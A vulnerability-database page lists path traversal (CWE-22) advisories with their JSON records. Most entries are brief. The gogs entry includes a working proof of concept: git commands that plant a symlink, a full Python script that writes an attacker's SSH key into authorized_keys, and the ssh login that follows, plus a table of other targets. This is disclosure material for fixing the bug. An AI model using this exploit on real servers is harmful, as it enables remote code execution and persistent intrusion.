CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13469 vulnerabilities reference this CWE, most recent first.
GHSA-89F7-HP3X-WRXG
Vulnerability from github – Published: 2022-05-17 05:22 – Updated: 2022-05-17 05:22Multiple directory traversal vulnerabilities in the iBrowser plugin library, as used in Open Journal Systems before 2.3.7, allow remote authenticated users to (1) delete or (2) rename arbitrary files via a .. (dot dot) in the param parameter to lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php.
{
"affected": [],
"aliases": [
"CVE-2012-1467"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-09-06T21:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in the iBrowser plugin library, as used in Open Journal Systems before 2.3.7, allow remote authenticated users to (1) delete or (2) rename arbitrary files via a .. (dot dot) in the param parameter to lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php.",
"id": "GHSA-89f7-hp3x-wrxg",
"modified": "2022-05-17T05:22:27Z",
"published": "2022-05-17T05:22:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1467"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23079"
},
{
"type": "WEB",
"url": "http://pkp.sfu.ca/support/forum/viewtopic.php?f=2\u0026t=8431"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-89G9-V7Q6-PX25
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06Dovecot before 2.3.15 allows ../ Path Traversal. An attacker with access to the local filesystem can trick OAuth2 authentication into using an HS256 validation key from an attacker-controlled location. This occurs during use of local JWT validation with the posix fs driver.
{
"affected": [],
"aliases": [
"CVE-2021-29157"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-28T12:15:00Z",
"severity": "MODERATE"
},
"details": "Dovecot before 2.3.15 allows ../ Path Traversal. An attacker with access to the local filesystem can trick OAuth2 authentication into using an HS256 validation key from an attacker-controlled location. This occurs during use of local JWT validation with the posix fs driver.",
"id": "GHSA-89g9-v7q6-px25",
"modified": "2022-05-24T19:06:27Z",
"published": "2022-05-24T19:06:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29157"
},
{
"type": "WEB",
"url": "https://dovecot.org/security"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JB2VTJ3G2ILYWH5Y2FTY2PUHT2MD6VMI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TK424DWFO2TKJYXZ2H3XL633TYJL4GQN"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-41"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2021/06/28/1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-89GC-6CW6-4VCH
Vulnerability from github – Published: 2018-10-04 19:53 – Updated: 2022-04-26 18:36Directory traversal vulnerability in Spark 2.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.sparkjava:spark-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-9177"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:25:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Spark 2.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.",
"id": "GHSA-89gc-6cw6-4vch",
"modified": "2022-04-26T18:36:08Z",
"published": "2018-10-04T19:53:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9177"
},
{
"type": "WEB",
"url": "https://github.com/perwendel/spark/issues/700"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:0868"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-89gc-6cw6-4vch"
},
{
"type": "PACKAGE",
"url": "https://github.com/perwendel/spark"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2016/Nov/13"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94218"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spark allows remote attackers to read arbitrary files via a .. (dot dot) in the URI"
}
GHSA-89GQ-9QQM-2PHP
Vulnerability from github – Published: 2025-05-26 00:30 – Updated: 2025-05-26 00:30A vulnerability was found in H3C SecCenter SMP-E1114P02 up to 20250513. It has been declared as problematic. This vulnerability affects the function downloadSoftware of the file /cfgFile/downloadSoftware. The manipulation of the argument filename leads to path traversal. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-5158"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-25T23:15:20Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in H3C SecCenter SMP-E1114P02 up to 20250513. It has been declared as problematic. This vulnerability affects the function downloadSoftware of the file /cfgFile/downloadSoftware. The manipulation of the argument filename leads to path traversal. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-89gq-9qqm-2php",
"modified": "2025-05-26T00:30:33Z",
"published": "2025-05-26T00:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5158"
},
{
"type": "WEB",
"url": "https://flowus.cn/share/a17e9654-f054-49d9-a3c1-3e37dc6c91cc?code=G8A6P3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.310246"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.310246"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.576230"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-89H7-H5FJ-W6J5
Vulnerability from github – Published: 2022-05-24 17:05 – Updated: 2024-04-04 02:45Directory traversal vulnerability in Cybozu Office 10.0.0 to 10.8.3 allows remote authenticated attackers to alter arbitrary files via the 'Customapp' function.
{
"affected": [],
"aliases": [
"CVE-2019-6022"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-26T16:15:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Cybozu Office 10.0.0 to 10.8.3 allows remote authenticated attackers to alter arbitrary files via the \u0027Customapp\u0027 function.",
"id": "GHSA-89h7-h5fj-w6j5",
"modified": "2024-04-04T02:45:39Z",
"published": "2022-05-24T17:05:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6022"
},
{
"type": "WEB",
"url": "https://kb.cybozu.support/article/36124"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN79854355/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-89MR-XQFV-758M
Vulnerability from github – Published: 2026-06-23 17:09 – Updated: 2026-07-21 13:40Summary
(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component — UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.
Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks).
Details
The asymmetric check at internal/database/repo_editor.go:601-612:
targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) { // ← LEAF-ONLY
return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }
vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:
if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
return errors.New("cannot update file with symbolic link in path")
}
hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf — fine inside the loop, wrong as a single call.
Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) — Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") — converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) — no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.
Suggested fix
- Replace the leaf check at
repo_editor.go:606withhasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))— the same primitiveUpdateRepoFilealready uses. - Walk
opts.TreePathbefore theos.MkdirAll(dirPath, ...)at line 583 so that pre-existing symlinked components don't letMkdirAllcreate directories outside the repo. - Switch
iox.CopyFile's open toO_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer. - In
database.NewUpload, afterpathx.Clean, refusenamecontaining/or\outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.
PoC
Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).
Reproduction prerequisites
- gogs ≥ 0.14.0 on Linux/macOS (
runtime.GOOS != "windows"). - Two attacker accounts on the gogs instance with write to a repo
attacker/playground(repo creators are admins of their own repos). git≥ 2.x withcore.symlinks=true(Linux/macOS default).- Python 3 stdlib only —
curl -Fdoes NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.
Why curl alone is unreliable
Bug needs two backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single \ in the parsed filename, which pathx.Clean then turns into /.
| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |
|---|---|---|---|---|
-F "...filename=a\b" |
a\b |
ab |
ab |
no |
-F "...filename=a\\b" (double quotes) |
a\b |
ab |
ab |
no |
-F '...filename=a\\b' (single quotes) |
a\\b |
a\b |
a/b |
yes |
The Python below removes the ambiguity.
Step 1 — plant the directory symlink
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..
Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.
Step 2 — upload + commit
Save as poc.py:
#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST = 'gogs.example'
USERNAME = 'attacker'
PASSWORD = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME = 'playground'
BRANCH = 'main'
PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
ctx = ssl.create_default_context() # set to None for plain HTTP / port 3000
def conn():
if ctx is None:
return http.client.HTTPConnection(GOGS_HOST, 3000)
return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
cookies = {}
def update_cookies(resp):
for hdr in resp.msg.get_all('Set-Cookie') or []:
for name, morsel in SimpleCookie(hdr).items():
cookies[name] = morsel.value
def cookie_header():
return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
# Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys' # 23 chars, 2 of them backslashes
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
body=urllib.parse.urlencode({
'_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
'commit_choice': 'direct', 'files': uuid,
}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)
python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302
Step 3 — confirm and use the foothold
sudo cat /home/git/.ssh/authorized_keys # operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
ssh -i ~/.ssh/id_ed25519 git@gogs.example # attacker's view
# → shell as the gogs runtime UID
Server-side trace
multipart wire bytes: filename="hijack\\authorized_keys"
mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \)
filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator)
pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean)
UploadRepoFiles:
targetPath = <local-r>/<repoID>/hijack/authorized_keys
= /home/git/.ssh/authorized_keys (parent symlink resolved)
osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink)
iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink)
Other reachable targets (same primitive)
| Symlink target | Effect on next event |
|---|---|
/home/git/.ssh |
SSH key implant → shell as gogs UID |
<RepoRoot>/<owner>/<repo>.git/hooks |
Hook overwrite → arbitrary code on next push |
<RepoRoot>/<owner>/<repo>.git |
core.fsmonitor=<cmd> in config → exec on next git op |
~git/custom/conf |
Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |
| Path of the sqlite DB file | DoS or admin-row replant |
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
<(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")
Impact
- Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to
~git/.ssh/authorized_keys→ ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by any user with
GOGS_AUTH_USER_*env populated),app.iniSECRET_KEY(forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
- Linux/macOS only. Windows hosts are unaffected for two independent reasons (
filepath.Baseseparator handling, git'score.symlinksdefault).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52811"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:09:55Z",
"nvd_published_at": "2026-06-24T21:16:57Z",
"severity": "CRITICAL"
},
"details": "Summary\n\n`(*Repository).UploadRepoFiles` checks for symlinks only on the **leaf** of the upload target (`osx.IsSymlink(targetPath)`). The siblings `UpdateRepoFile`, `DeleteRepoFile`, and `GetDiffPreview` use `hasSymlinkInPath`, which lstats every component \u2014 `UploadRepoFiles` is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by `filepath.Base` on Linux, then converted to `/` by `pathx.Clean`) redirects the write through a previously-committed directory symlink. `iox.CopyFile` opens the destination with `os.Create` (no `O_NOFOLLOW`), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write \u2014 `~git/.ssh/authorized_keys` \u2192 SSH foothold, or `\u003crepo\u003e.git/hooks/post-receive` \u2192 next-push RCE.\n\nWindows builds are unaffected: `filepath.Base` treats `\\` as a separator (strips the multi-segment trick) and git defaults `core.symlinks=false` at checkout (committed mode-120000 entries become text files, not real symlinks).\nDetails\n\nThe asymmetric check at `internal/database/repo_editor.go:601-612`:\n\n```go\ntargetPath := path.Join(dirPath, upload.Name)\nif osx.IsSymlink(targetPath) { // \u2190 LEAF-ONLY\n return errors.Newf(\"cannot overwrite symbolic link: %s\", upload.Name)\n}\nif err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }\n```\n\nvs. `UpdateRepoFile`\u0027s correct walker at `internal/database/repo_editor.go:163`:\n\n```go\nif hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {\n return errors.New(\"cannot update file with symbolic link in path\")\n}\n```\n\n`hasSymlinkInPath` (`internal/database/repo_editor.go:120-131`) lstats every component; `osx.IsSymlink` (`internal/osx/osx.go:35-41`) is `os.Lstat` mode-bit on the leaf \u2014 fine inside the loop, wrong as a single call.\n\nMulti-segment `upload.Name` reaches the loop because: (1) `c.Req.FormFile(\"file\")` returns `*multipart.FileHeader` whose `Filename` is `filepath.Base(filename)` \u2014 Linux only treats `/` as separator, so backslashes are preserved; (2) `NewUpload` calls `pathx.Clean` (`internal/pathx/pathx.go:13-16`) which does `strings.ReplaceAll(p, \"\\\\\", \"/\")` \u2014 converting backslashes to forward slashes; (3) `upload.Name = \"evil/foo\"` is persisted and joined into `path.Join(dirPath, upload.Name)`. `iox.CopyFile` at `internal/iox/iox.go:24` uses `os.Create(dst)` = `OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...)` \u2014 no `O_NOFOLLOW`, kernel follows symlinks in path. Git\u0027s default `core.symlinks=true` on Linux materialises pushed mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`.\n\nSuggested fix\n\n1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` \u2014 the same primitive `UpdateRepoFile` already uses.\n2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don\u0027t let `MkdirAll` create directories outside the repo.\n3. Switch `iox.CopyFile`\u0027s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat\u2192write TOCTOU at the syscall layer.\n4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.\n\nPoC\n\nTested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`\u2194`osutil`, `iox.CopyFile`\u2194`com.Copy`, identical logic).\n\n### Reproduction prerequisites\n- gogs \u2265 0.14.0 on Linux/macOS (`runtime.GOOS != \"windows\"`).\n- Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos).\n- `git` \u2265 2.x with `core.symlinks=true` (Linux/macOS default).\n- Python 3 stdlib only \u2014 `curl -F` does NOT trigger the bug because shell quoting + Go\u0027s RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.\n\n### Why curl alone is unreliable\n\nBug needs *two* backslash bytes on the wire so Go\u0027s `mime.ParseMediaType` quoted-string rule (`\\X` \u2192 `X`) yields a single `\\` in the parsed filename, which `pathx.Clean` then turns into `/`.\n\n| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |\n|---|---|---|---|---|\n| `-F \"...filename=a\\b\"` | `a\\b` | `ab` | `ab` | no |\n| `-F \"...filename=a\\\\b\"` (double quotes) | `a\\b` | `ab` | `ab` | no |\n| `-F \u0027...filename=a\\\\b\u0027` (single quotes) | `a\\\\b` | `a\\b` | `a/b` | **yes** |\n\nThe Python below removes the ambiguity.\n\n### Step 1 \u2014 plant the directory symlink\n\n```sh\ngit clone https://attacker:attacker_password@gogs.example/attacker/playground\ncd playground\nln -s /home/git/.ssh hijack\ngit add hijack \u0026\u0026 git commit -m \u0027docs link\u0027 \u0026\u0026 git push origin main\ncd ..\n```\n\nBare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `\u003cconf.AppDataPath\u003e/tmp/local-r/\u003crepoID\u003e/hijack \u2192 /home/git/.ssh`.\n\n### Step 2 \u2014 upload + commit\n\nSave as `poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for gogs UploadRepoFiles parent-symlink \u2192 arbitrary file write.\"\"\"\nimport http.client, ssl, json, re, urllib.parse\nfrom http.cookies import SimpleCookie\n\nGOGS_HOST = \u0027gogs.example\u0027\nUSERNAME = \u0027attacker\u0027\nPASSWORD = \u0027attacker_password\u0027\nREPO_OWNER = \u0027attacker\u0027\nREPO_NAME = \u0027playground\u0027\nBRANCH = \u0027main\u0027\nPUBKEY = \u0027ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\\n\u0027\n\nctx = ssl.create_default_context() # set to None for plain HTTP / port 3000\ndef conn():\n if ctx is None:\n return http.client.HTTPConnection(GOGS_HOST, 3000)\n return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)\n\ncookies = {}\ndef update_cookies(resp):\n for hdr in resp.msg.get_all(\u0027Set-Cookie\u0027) or []:\n for name, morsel in SimpleCookie(hdr).items():\n cookies[name] = morsel.value\ndef cookie_header():\n return \u0027; \u0027.join(f\u0027{k}={v}\u0027 for k, v in cookies.items())\ndef get_csrf(html):\n return re.search(r\u0027name=\"_csrf\"\\s+(?:value|content)=\"([^\"]+)\"\u0027, html).group(1)\n\n# 1. GET /user/login \u2192 session cookie + CSRF\nc = conn(); c.request(\u0027GET\u0027, \u0027/user/login\u0027)\nr = c.getresponse(); update_cookies(r)\ncsrf_token = get_csrf(r.read().decode())\n\n# 2. Submit credentials\nc = conn()\nc.request(\u0027POST\u0027, \u0027/user/login\u0027,\n body=urllib.parse.urlencode({\u0027_csrf\u0027: csrf_token, \u0027user_name\u0027: USERNAME, \u0027password\u0027: PASSWORD}),\n headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read(); update_cookies(r)\nassert r.status in (302, 303), f\u0027login failed: {r.status}\u0027\n\n# 3. Refresh CSRF for the logged-in session\nc = conn()\nc.request(\u0027GET\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}\u0027, headers={\u0027Cookie\u0027: cookie_header()})\nr = c.getresponse(); html = r.read().decode(); update_cookies(r)\ncsrf_token = get_csrf(html)\n\n# 4. Hand-built multipart with literal \"\\\\\" (two backslash bytes) in filename.\n# Wire form: filename=\"hijack\\\\authorized_keys\"\nboundary = \u0027----poc-\u0027 + \u0027x\u0027 * 16\nfilename_on_wire = r\u0027hijack\\\\authorized_keys\u0027 # 23 chars, 2 of them backslashes\nbody = (\n f\u0027--{boundary}\\r\\n\u0027\n f\u0027Content-Disposition: form-data; name=\"file\"; filename=\"{filename_on_wire}\"\\r\\n\u0027\n f\u0027Content-Type: text/plain\\r\\n\\r\\n{PUBKEY}\\r\\n--{boundary}--\\r\\n\u0027\n).encode()\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/upload-file\u0027, body=body, headers={\n \u0027Content-Type\u0027: f\u0027multipart/form-data; boundary={boundary}\u0027,\n \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token,\n})\nr = c.getresponse(); upload_resp = r.read().decode()\nprint(\u0027upload status:\u0027, r.status, \u0027body:\u0027, upload_resp)\nuuid = json.loads(upload_resp)[\u0027uuid\u0027]\n\n# 5. Commit the uploaded file at the repo root.\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/\u0027,\n body=urllib.parse.urlencode({\n \u0027_csrf\u0027: csrf_token, \u0027tree_path\u0027: \u0027\u0027, \u0027commit_summary\u0027: \u0027docs link\u0027,\n \u0027commit_choice\u0027: \u0027direct\u0027, \u0027files\u0027: uuid,\n }),\n headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read()\nprint(\u0027commit status:\u0027, r.status)\n```\n\n```sh\npython3 poc.py\n# upload status: 200 body: {\"uuid\":\"\u003cUUID\u003e\"}\n# commit status: 302\n```\n\n### Step 3 \u2014 confirm and use the foothold\n\n```sh\nsudo cat /home/git/.ssh/authorized_keys # operator\u0027s view\n# \u2192 ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n\nssh -i ~/.ssh/id_ed25519 git@gogs.example # attacker\u0027s view\n# \u2192 shell as the gogs runtime UID\n```\n\n### Server-side trace\n\n```\nmultipart wire bytes: filename=\"hijack\\\\authorized_keys\"\nmime.ParseMediaType \u2192 \"hijack\\authorized_keys\" (quoted-pair: \\\\ \u2192 \\)\nfilepath.Base \u2192 \"hijack\\authorized_keys\" (Linux: only / is a separator)\npathx.Clean \u2192 \"hijack/authorized_keys\" (\\\\ \u2192 /, then path.Clean)\n\nUploadRepoFiles:\n targetPath = \u003clocal-r\u003e/\u003crepoID\u003e/hijack/authorized_keys\n = /home/git/.ssh/authorized_keys (parent symlink resolved)\n osx.IsSymlink(targetPath) = false (leaf doesn\u0027t exist as a symlink)\n iox.CopyFile \u2192 os.Create \u2192 OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink)\n```\n\n### Other reachable targets (same primitive)\n\n| Symlink target | Effect on next event |\n|---|---|\n| `/home/git/.ssh` | SSH key implant \u2192 shell as gogs UID |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git/hooks` | Hook overwrite \u2192 arbitrary code on next push |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git` | `core.fsmonitor=\u003ccmd\u003e` in `config` \u2192 exec on next git op |\n| `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart |\n| Path of the sqlite DB file | DoS or admin-row replant |\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\ndiff \u003c(sed -n \u0027160,170p\u0027 internal/database/repo_editor.go) \\\n \u003c(sed -n \u0027601,615p\u0027 